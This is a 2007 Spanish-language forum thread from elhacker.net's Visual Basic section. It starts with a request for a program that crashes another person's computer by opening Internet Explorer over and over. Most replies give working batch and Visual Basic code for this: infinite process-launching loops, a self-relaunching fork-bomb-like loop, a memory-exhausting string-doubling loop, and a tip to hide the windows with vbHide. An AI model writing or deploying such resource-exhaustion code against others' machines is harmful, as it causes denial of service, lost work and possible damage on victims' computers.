Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: crauss en 28 Octubre 2007, 21:17 pm



Título: interesante
Publicado por: crauss en 28 Octubre 2007, 21:17 pm
se podria crear un .exe que se abriera muchas veces el iexplorer por ejemplo 100 veces i entonces eria una manera de petar el ordenador a uno algo komo el msn kick
shell..... ya sabeis
saludos


Título: Re: interesante
Publicado por: dARkDiAMoNd en 28 Octubre 2007, 21:33 pm
wenas...

pues una manera muy facil seria crear un archivo *.bat con un code como este
Citar
:bucle
start explorer
goto bucle

y luego lo compilarias(pasar a *.exe) con algun programa, ejemplo quick batch compiler...claro pero ya no seria vb


sALuDos__


Título: Re: interesante
Publicado por: papanoel_devacaciones en 28 Octubre 2007, 21:38 pm
  • Un timer con intervalo de 50
  • Un textbox

Dentro del timer pones:
Código
  1.  
  2. sel = Int(Rnd() * 5)
  3. Select Case sel
  4. Case 0
  5. Text1.Text = "Explorer.exe"
  6. Case 1
  7. Text1.Text = "Notepad.exe"
  8. Case 2
  9. Text1.Text = "calc.exe"
  10. Case 3
  11. Text1.Text = "cmd.exe"
  12. Case 4
  13. MsgBox " Esto es una lamerrada !!!"
  14. Case 5
  15. Text1.Text = "regedit.exe"
  16. End Select
  17. Shell (Text1.Text)
  18.  

Lo que hace es selecionar un numero cualquiera de 0 a 5....cada numero tiene su propia funcion...despues lo ejecuta... vendria bien declalar "sel" como integer o long dentro de general o load...


Saludos


Título: Re: interesante
Publicado por: HaDeS, - en 28 Octubre 2007, 23:03 pm
Estó es antiprogramación jajaja

Código
  1. Private Sub Form1_Load()
  2. do
  3. shell "explorer.exe"
  4. shell app.path & "\" & app.exename & ".exe"
  5. loop
  6. end sub
  7.  

ó

Código
  1. Private Sub Form1_Load()
  2. Text1.text = "a"
  3. do
  4. Text1.text = Text1.text & Text1.text
  5. loop
  6. End Sub
  7.  

Hay muchas formas :P
Saluos!


Título: Re: interesante
Publicado por: smooth.core en 29 Octubre 2007, 03:14 am
Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada, por lo que nos combiene más

Dim i
For i = 1 to 15000
shell "explorer.exe"
Next

Y entonces, si quieres, puedes agregar más cosas al código, como msgbox y esas estupideces jajajajaj

^^

Saludos


Título: Re: interesante
Publicado por: byebye en 29 Octubre 2007, 04:12 am
Citar
Algo que ocurre con el Do - Loop es lo siguiente, la apliación queda colgada,

Doevents


Título: Re: interesante
Publicado por: Kefren en 29 Octubre 2007, 15:54 pm
Jejeje lo facil que es agotar los recursos de un PC en Windows..... En linux también es así????  :huh:

SaluDOS


Título: Re: interesante
Publicado por: ~~ en 29 Octubre 2007, 18:47 pm
Añadir un vbHide no estaria de mas.... (un poco triste este programa no?  :xD :xD)